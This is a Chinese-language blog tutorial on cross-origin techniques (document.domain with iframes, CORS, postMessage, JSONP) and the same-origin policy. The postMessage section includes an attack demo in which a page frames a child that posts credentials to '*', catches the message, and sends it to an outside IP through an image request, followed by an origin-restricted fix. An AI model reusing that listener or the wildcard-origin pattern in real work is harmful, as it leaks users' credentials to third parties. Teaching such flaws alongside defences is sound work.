跨域访问
常见解决跨域问题的方案
在web开方中,解决跨域问题最常见的方法有:
- document.domain+iframe(子域名代理)
- jsonp实现跨域
- CORS跨域资源共享
- postMessage实现跨域
1、document.domain+iframe(子域名代理)
.对于主域相同而子域不同的情况,可以通过设置document.domain的办法来解决。
如:对于两个文件http://www.123.com/a.html和http://blog.123.com/b.html均加上设置document.domain = ‘123.com’;然后在a.html文件中创建一个iframe,通过iframe两个js文件即可交互数据:
看下hosts文件配置:

不满足同源策略的要求,因为属于不同主机。
b.html 的内容是111111111111
首先,我们要明确同源策略只作用在实现了同源策略的WEB客户端上。 虽然笔者不常用百度,但是我们来看一个具有误导性的结论:百度词条对于同源策略的解释说“只有和目标同源的脚本才会被执行”,这是不对的,同源策略没有禁止脚本的执行,而是禁止读取HTTP回复。 更正了这个概念之后,我们会发现,SOP其实在防止CSRF上作用非常有限,CSRF的请求往往在发送出去的那一瞬间就已经达到了攻击的目的,比如发送了一段敏感数据,或请求了一个具体的功能,是否能读取回复并不那么重要(唯一的作用是可以防止CSRF请求读取异源的授权Token)。 另外,一般静态资源通常不受同源策略限制,如js/css/jpg/png等。
被同源策略拦截。

看network选项卡。这就验证了这句话:同源策略没有禁止脚本的执行,而是禁止读取HTTP回复。也就是说http请求发出去了。但是收到的http回复。被浏览器拦截了。

b.html页面的控制台:

a.html的控制台。实现了跨域访问。

2.跨域资源共享(CORS)

3.postMessage发送消息
www.123.com/a.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Html5 postMessage</title>
<style>
#otherWin {
width: 600px;
height: 400px;
background-color: #cccccc;
}
</style>
</head>
<body>
<button id="btn">open</button>
<button id="send">send</button>
<!-- 通过 iframe 嵌入子页面(接收消息目标窗口) -->
<iframe src="http://blog.123.com/b.html"
id="otherWin"></iframe>
<br/><br/>
<input type="text" id="message"><input type="button"
value="Send to child.com" id="sendMessage" />
<script>
window.onload = function() {
var btn = document.getElementById('btn');
var btn_send = document.getElementById('send');
var sendBtn = document.getElementById('sendMessage');
var win;
btn.onclick = function() {
//通过window.open打开接收消息目标窗口
win = window.open('http://blog.123.com/b.html', 'popUp');
}
btn_send.onclick = function() {
// 通过 postMessage 向子窗口发送数据
win.postMessage('Hello', 'http://blog.123.com/');
}
function sendIt(e){
// 通过 postMessage 向子窗口发送数据
document.getElementById("otherWin").contentWindow
.postMessage(
document.getElementById("message").value,
"http://blog.123.com/");
}
sendBtn.onclick = function(e) {
sendIt(e);
};
};
</script>
</body>
</html>
blog.123.com/b.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Html5 postMessage</title>
<style>
#txt {
width: 500px;
height: 300px;
background-color: #cccccc;
}
</style>
</head>
<body>
<h1>The New Window</h1>
<div id="txt"></div>
<script>
window.onload = function() {
var text = document.getElementById('txt');
//监听函数,接收一个参数--Event事件对象
function receiveMsg(e) {
console.log("Got a message!");
console.log("nMessage: " + e.data);
console.log("nOrigin: " + e.origin);
text.innerHTML = "Got a message!<br>" +
"Message: " + e.data +
"<br>Origin: " + e.origin;
}
if (window.addEventListener) {
//为window注册message事件并绑定监听函数
window.addEventListener('message', receiveMsg, false);
}else {
window.attachEvent('message', receiveMsg);
}
};
</script>
</body>
</html>
当点击send的时候blog.123.com会接收到www.123.com发来的消息

Postmessage伪造数据接收端,获取用户敏感信息。
因为postMessage()接受两个参数,第一个参数为向另外一个窗口传递的数据(只能传字符串类型),
第二个参数表示目标窗口的源,协议+主机+端口号,是为了安全考虑,如果设置为*,则表示可以传递给任意窗口。
所以黑客可以伪造父窗口,从而劫持子窗口存储的用户信息。
child.html
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>User info center</title> <script type="text/JavaScript"> var userinfo="username:afanti,password:afanti"; //敏感信息 window.parent.postMessage(userinfo, "*"); </script> </head> <body> Web page from http://127.0.0.1 </body> </html>
attack.html
<script type="text/JavaScript"> onmessage = function( event ) { if(event.origin == "http://127.0.0.1"){ var img=new Image(); img.src='http://121.195.170.159:7999/?userinfo='+event.data; //将敏感信息发送给服务器。 document.getElementById("otherPage").appendChild(img); } }; </script> <iframe src="http://127.0.0.1/ajax/child.html" id="otherPage"></iframe>
访问attack.html

将域名限制到本域防御:
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>User info center</title> <script type="text/JavaScript"> var userinfo="username:afanti,password:afanti"; window.parent.postMessage(userinfo, "http://127.0.0.1"); //这里修改了。 </script> </head> <body> Web page from http://127.0.0.1 </body> </html>
子窗口的敏感数据就不会发送到,www.123.com域上了。

4、jsonp
下面这个实验是www.123.com:81和www.123.com不是同域,但是script标签可以跨域请求,而jsonp说白了。就是通过script标签跨域并把请求跨域的数据调用的函数传给后端callback参数,后端将返回数据。并且拼接好前台的调用格式,eg:dosomething(["a","b","c"]),从而前台直接处理。


参考连接:
http://blog.codingplayboy.com/2016/03/05/web_cross_origin/
http://blog.codingplayboy.com/2016/03/16/h5_postmessage/


浙公网安备 33010602011771号